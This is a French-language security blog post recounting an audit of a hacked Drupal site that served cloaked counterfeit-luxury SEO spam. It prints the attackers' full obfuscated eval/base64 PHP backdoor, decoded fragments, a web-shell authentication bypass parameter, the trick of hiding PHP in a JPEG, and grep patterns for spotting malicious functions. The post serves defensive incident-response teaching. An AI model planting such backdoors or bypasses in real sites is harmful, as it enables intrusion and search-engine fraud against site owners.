Makina Blog
Exemple d'audit de sécurité d'un site Drupal compromis
Les actions et découvertes effectuées lors d'un audit de sécurité d'un site Drupal compromis par une faille de sécurité.
Dans cet audit, ce qui nous a probablement le plus surpris est la découverte du niveau d'industrialisation et d'outillage des attaquants pour un résultat qui nous semblait modeste, au moins dans le bénéfice apparent généré.
Pour des raisons de confidentialité, les informations relatives au client concerné ont été obfusquées dans tout l'article.
Contexte
Nous avons été contacté par un de nos clients (ci-après dénommé [client]) car son site vitrine, dont nous n'avions pas la responsabilité, était compromis par une faille de sécurité. Cette dernière générait de nombreuses pages fantômes sur le site afin de propulser des produits Vuitton.
Concrètement, une requête Google avec "[client] Vuitton" renvoyait de nombreuses pages qui n'existaient pas en tant que contenus réels du site, mais semblaient exister pour les moteurs de recherche, ternissant ainsi l'image de marque de ce client :
L'objectif des pirates était de produire un boost de renommée en référencement sur leur site en simulant l'existence de liens depuis le site [client], qui, lui, était déjà très bien référencé grâce notamment à des liens issus de sites gouvernementaux.
En suivant ces liens, nous arrivons effectivement sur le site du client, avec tout de suite une redirection automatique vers un site (pirate) reproduisant la charte graphique du client et présentant de faux produits de luxe.
Première analyse rapide et tentative de résolution
Après quelques tests rapides :
- Le faux contenu et les fausses URLs génèrent des erreurs 404 ("page non trouvée") sur le site ;
- Le contenu n'existe pas dans Drupal ;
- Il n'y a pas de JavaScript malicieux.
Nous utilisons le meilleur outil de déboguage technique du référenceur : curl.
curl -I 'https://[client]/la-maison-louis-vuitton/' -H 'Referer: https://www.google.com/'
Ici, nous utilisons le paramètre -I pour récupérer uniquement les en-têtes serveur, et nous constatons que :
- Avec l'en-tête Referer positionné sur Google, nous obtenons une redirection 301 ;
- Sans, le serveur nous retourne une erreur 404 (la même qu'en consultant le site).
C'est ce que dans le monde du référencement on appelle du "cloaking", c'est à dire le renvoi d'informations différentes aux moteurs de recherche et aux visiteurs.
Comme le prestataire en charge du site n'utilisait pas de gestionnaire de versions, il n'est pas en mesure de valider si le code livré était compromis ou non. Nous savons ainsi que nous n'aurions probablement pas la source du piratage, mais nous cherchons tout de même à corriger le problème. Nous nous lançons dans la recherche de fonctions régulièrement utilisées dans des piratages PHP.
Après lecture de quelques centaines de ligne de code, nous découvrons dans le code d'un module Drupal la chaîne malveillante :
eval(gzinflate(base64_decode('QYIz+68lfpc6ZdEXHgdE6c8frYIcW6nkjR5XUGkA011xr7FOQEJQdYJ1shuizUTT6ciys1V+Fx0FT+6zbGYT9EuVfkTN+EtS6AQnp7THePm5vBcy6bbGhJeaKwU0GJk0n3OWmSD93xFv7kHMQdE02u68LaFMo3POJqowFCFZpZHq+eP2z1u7COoTDBeMv/IiYcegYDHk5L7wWIoIzsdCZCITlZ0Pg7NmHSq8VSojVtVW0zFfpJZMCHNaHnVQE8SIaqEloHmfa0KQ51JP+eTxPJE6tFytov7Zq1SQSKPTpjmDDUM5FLRovjOCMqXptjsn4n8UEYAzz2joPZsGNmQHz4yiOo6O3MrhnpDh6C7x40tNEm8SpmnWtD4g02NFCdErsPJVJM9Yu37D5EF68JWy1hap08GlCQdnNO5NIe5I3zb8kHp61v4ezt1QczLaeYMMPtiZKH3e0XN+5LA910AFoHU8hDMxVhxQV6NAEDsNxvkP+ApaZpcLC65P49KoVMjENtQUopUGvuXy5OGnlQZM3QyOMbU7psxBZ6vgrIomyEHsDSpHKi3HyGZxcFCUtUZ0X6HhC2ZJh4gHHbrXy6Lwnj0WLSGptj9ElIiAl4xrdBTY5kMe4wIJJDEM9LbmbSEKrc56GZgTmxbHUNtpzptpKNTmzCS0PZcqsGrTBRWW4Nb5qnhOngT+CN+piAmSKheumpdMyYKVh3u91qk+YKtSVMQ66f2EhFPzJMK9FiujP9Mxf2yo1MrLrDyM6ImsaCJ2PDDYb1UY5FEmwHONkQOZL3PdtoGwJKigPJCjfxcQbTe8nMcaWFNYWMXi8vq1LQUC0He5jZRqjpgAaaWo4GZPvwVb4A7P5KailanDmDRtny6nH1oN75VQUPFArNWcmvkHHlZTUmsLGCb+c+zA4xIjJpKczteoTFcQKWAqbFFxDFBSGM6SEcSHDWOm8DK5ohTRTQggUUjITUPpG0Lnj2SmexLrkeipbETcSEBiONmi15En+Q39TBthB53ShnIF2YXGUSkvPR6EBYiNMATW3zVH241qhvA3iVV3abwij69lQzO3Qvw85Q5bod+zU5r+rk9UZnvveCe2UBdQCY2HIxYsK9Db7lomExTrLylWFHFL0QKVPPwWBHO5iO23+vAKQ6ZyDOk6VIO6aQNHHN7udY9ssOep+H6ZP5hbGoCl5Bbcmg6uaHqJZIgKMNz34XsEkZ99cYUZHNklIUv2rYO0kCQsQ37vSYktsYY0ItniiZlpDUoiLKi2LXaeF+pZrJ1E5L6LwZi828yiiAswywMW2vUmdZ3IcnLkPoshrmvNDCpgj1SpjCQKHNTgctqe1+ZhbZ+KlkW9NRxEOkWEbAOYMAOwvxcTLk2SOg3wQUYOelpu+5XbwPnWMngWcxNARytbIH6tC61koGuQzmPc1Ghk6uHkGGcLv3D7lgXvOmYgPEQ7PVoMqZJ4CYG6c0HKUKeFFfJWhq0chadSoYy+7O3E7OiZopIc887LO72CFFCCijx0E82kEhwl70H7UmiwdiLVp3LSkob1HQ9mniNkDUY4oPkqUAAQEQ+zhFDwP9UF7CPH2MLY870OpCStaNPHQW7IFq7xcHiGpnolcTNJ9cO77G0LivJq16r7sM6SHt4e7Nq5Os6cmmbaPYAr+YTMQtTe6PrfBtmHzw+YkDgZgD3yuTZFn4p8uQka/ISO3VamhGMPLf7ZzY+cvTiuP+')));
Si le code de Drupal est souvent critiqué, cette chaîne là n'est clairement pas du code Drupal normal ;-)
Après la lecture de code, voici la deuxième étape fastidieuse : comprendre ce que fait ce code. Vous pouvez par exemple utiliser pour cela le site UnPHP. Nous avons utilisé une solution plus manuelle avec l'outil CyberChef (qui permet de combiner des "recettes" afin de chiffrer / déchiffrer des textes avec une suite d'algorithmes) avec la recette suivante :
Regular_expression('User defined','eval\\(gzinflate\\(base64_decode\\("(.*)"\\)\\)\\);',true,true,false,false,false,false,'List capture groups')
From_Base64('A-Za-z0-9+/=',true)
Raw_Inflate(0,0,'Adaptive',false,false)
Dans ce code déchiffré, nous identifions plusieurs informations intéressantes :
- D'abord, la redirection est en effet uniquement visible pour certains moteurs de recherche :
$m = strtolower($_SERVER["HTTP_REFERER"]); $n = array('google', 'bing', 'yahoo', 'ask', 'aol');
- Ensuite, une liste d'IPs qui correspond aux différentes machines du client visibles depuis le serveur compromis est indiquée : les attaquants ont tenté de complètement masquer la faille lors de la visite des pages depuis le réseau interne du client. Ceci démontre un travail de recherche, et pas une simple faille déployée automatiquement :
$f = array('[IP1]', '[IP2]', '[IP3]', '[IP4]', '[IP5]', '[IP5]');
- Enfin, les URLs sur lesquelles effectuer la redirection proviennent d'une base de données qui n'est pas celle du site attaqué, mais d'un autre site hébergé sur la même machine. Cela indique une compromission plus globale de ce serveur :
$bb = mysqli_connect('localhost', '[user]', '[password]');
Nous supprimons le code malicieux, et sécurisons les permissions sur les fichiers afin d'éviter de trouver à nouveau une faille dans les modules Drupal dont le code ne devrait pas être inscriptible sur le serveur.
L'histoire est loin d'être terminée
À cette étape, nous sommes en face d'un site dont le code est assez incertain, les processus de livraison et de suivi du code étant peu professionnels.
Quatre sites sont sur ce serveur, et nous n'avons audité que le site principal. Nous savons déjà que le code des attaquants utilisait une base de données d'un des autres sites. En retirant le cheval de Troie utilisé et en appliquant des droits d'accès plus restrictifs sur la modification des fichiers sources du site principal, nous espérons complexifier suffisamment la tâche des assaillants pour que ce site principal soit de nouveau pleinement fonctionnel.
À moyen terme, un audit et un nettoyage de l'ensemble des sites est préconisé. À ce stade, nous pensons naïvement avoir gagné suffisamment de temps pour sortir du mode "urgence".
Mais "Le matou revient… le jour suivant". Dès le lendemain, nous constatons que la faille de référencement est toujours présente mais pas dans le même fichier. La sécurisation des droits d'écriture sur les dossiers et fichiers Drupal a été contournée de façon très réactive.
Deuxième audit
Pour aider notre client face à cette faille de sécurité sur son site, la première correction avait été faite rapidement. À cette étape, un audit plus complet est nécessaire (comme nous le préconisions dès le début), avec accès root à l'ensemble des machines impliquées.
Nous intervenons cette fois à deux personnes complémentaires, la première s'occupe du code PHP lui-même et la seconde de la partie système / logs.
Notre process est plutôt simple :
- dès que l'un de nous trouve une information (une URL, un bout de code malicieux), il le communique à l'autre ;
- qui s'en sert pour trouver d'autres bouts de code, URL, entrées de logs.
Nous utilisons pour trouver du code malveillant les mêmes expressions régulières que lors du premier audit mais cette fois-ci sur l'ensemble des sites hébergés sur le serveur (chose que nous n'avions pas pu faire lors de la première intervention) :
find . -iname '*php' | xargs egrep '(passthru|shell_exec|system\(|phpinfo|base64_decode|chmod|mkdir|fopen|fclose|readfile)' -sl *
grep -RPn '(passthru|shell_exec|system\(|phpinfo|base64_decode|chmod|mkdir|fopen|fclose|readfile|(\\x[0-9]+){3}|auth_pass|eval\(|gzinflate|str_rot13)' *
3 failles différentes
À force de recherche sur les différents serveurs, nous identifions trois failles bien spécifiques.
La faille "SEO"
Ce code, présent uniquement sur le site principal, reprend le code que nous avions identifié précédemment. Cependant, nous trouvons deux différences par rapport à notre analyse précédente :
- D'abord, la faille n'est plus présente dans un module Drupal directement, ce qui indique que notre sécurisation des permissions sur les fichiers les a un peu affectés. Ils ont ici caché la faille de façon assez créative : le code PHP lui-même était une copie d'un module Drupal (fichier PHP), cachée dans un fichier image (.jpeg) présent sur le serveur dans le dossier où Drupal stocke les images retaillées automatiquement par le logiciel (il est mécaniquement impossible d'empêcher l'écriture dans ce dossier).
Ils ont ensuite modifié la base de données pour indiquer dans la table system le chemin du module vers ce fichier image plutôt que le fichier initialement déployé avec Drupal.
Ils ont enfin également ajouté un fichier .htaccess dans le dossier afin de rendre ce fichier exécutable. - Ensuite, le code de la faille a également été modifié, avec un seul changement : parmi la liste des IPs du réseau interne du client figure désormais l'IP que Makina Corpus utilise comme proxy SSH, indiquant une réaction directe à notre correction précédente, et une surveillance quotidienne des serveurs corrompus.
Le module de commande & contrôle
Sur les trois autres sites du serveur, nous identifions une deuxième faille, là encore dissimulée dans un module Drupal. Elle était déjà présente lors de notre précédente intervention, mais nous n'avions pu analyser que le code du site principal. Elle utilise le même principe que la faille SEO (eval + gzinflate + base64_decode).
En analysant le code, nous découvrons qu'il a déjà été utilisé ailleurs. Nous trouvons d'ailleurs un code quasi-similaire sur Internet. Cette faille affiche, sur une URL spécifique, un formulaire demandant un mot de passe. Nous ne disposons pas du mot de passe, mais en lisant le code une fois déchiffré, nous découvrons que l'authentification peut-être évitée en ajoutant en paramètre dans l'URL "?akka=akka".
Nous arrivons alors sur une suite d'écrans permettant de lister, éditer les fichiers du serveur ou leurs méta-données, exécuter des commandes systèmes (comme récupérer les derniers intervenants sur le serveur, donc récupérer notre adresse IP), ou se connecter à des bases SQL sur le serveur :
Les failles "de secours"
Enfin, là encore sur les 3 autres sites du serveur, de moindre importance par rapport au site principal, nous avons découvert des failles plus génériques. Ces dernières permettent probablement de remettre en place les deux autres failles en cas de suppression.
Là encore, le code était dissimulé dans des modules Drupal, et nous avons identifié deux failles différentes :
- Une composée d'un simple "eval", habilement dissimulée en fin d'un commentaire afin de ne pas être immédiatement identifiée :
- Une autre un peu plus complexe, combinant diverses informations :
Analyse temporelle
En plus des failles identifiées précédemment, nous avons naturellement cherché les habituels problèmes Drupal : modules à jour, faille "Drupalgeddon", …
À ce stade, notre hypothèse est que nous avons identifié l'ensemble des failles.
Cependant, nous constatons des connexions aux différentes URLs compromises (ou via une liste d'IPs utilisant ces URLs) depuis aussi longtemps que nous avons pu remonter dans les logs.
Cet audit s'achève donc sur une légère insatisfaction. En effet, ne pouvant trouver trace de la toute première connexion des pirates, nous ne pouvons garantir que nous avons trouvé l'ensemble des failles du serveur.
Préconisations de l'audit
Le rapport d'audit que nous avons réalisé préconisait toute une série de mesures pour corriger le problème, c'est à dire la faille "SEO", et également empêcher que le problème se reproduise, parmi lesquelles :
- Naturellement, supprimer les différents codes malveillants
- Isoler les différents sites sur des serveurs distincts afin d'empêcher que la compromission d'un des sites mette en péril le site principal
- Renforcer les permissions sur les fichiers pour l'ensemble des sites
- Changer l'intégralité des mots de passe
- Installer un outil de gestion de versions, …
Plus globalement, vous pourrez retrouver sur cette présentation de Frédéric G. Marand un ensemble de mesures à prendre en cas d'attaque.
Conclusion
Comme nous l'avons expliqué en préambule, nous avons été surpris de découvrir l'ampleur de l'organisation des attaquants pour un résultat apparemment faible. Nous pouvons imaginer qu'ils sont suffisamment industrialisés pour reproduire cette attaque de façon massive à moindre frais afin de réellement en tirer un bénéfice financier.
Après un nettoyage comprenant l'ensemble de ces backdoors, les attaquants ne sont pas revenus. Sans doute existe-t-il désormais des cibles plus faciles à exploiter pour eux.
Si vous souhaitez aller plus loin sur la sécurité de vos applications, n'hésitez pas à suivre notre formation sur la sécurité web.
Et si vous pensez en avoir besoin, contactez-nous pour un audit de sécurité !
Formations associées
Formations Outils et bases de données
Formation sécurité web
Paris Du 25 au 27 février 2025
Voir la formationActualités en lien
Access Control, bibliothèque PHP pour gérer des droits d’accès
Suite à un projet de gestion métier opérationnel dont la durée de vie et la maintenance sont à long termes, nous avons expérimenté un passage de celui-ci sur l’architecture hexagonale et la clean architecture.
SSO Keycloak : Ajouter un contrôle d'accès au niveau des flux d'authentification
Découvrez ici comment ajouter un contrôle d'accès grâce au SSO Keycloak
Exercice de lecture de code malveillant
Voici un extrait de code malveillant retrouvé sur un serveur "piraté". Ce type de code permet à des individus peu scrupuleux de piloter à distance un ensemble de serveurs compromis, ce qu'on appelle un "botnet". Le code est absolument illisible et il peut être amusant d'essayer de retrouver une version lisible du code à partir de sa version obfusquée.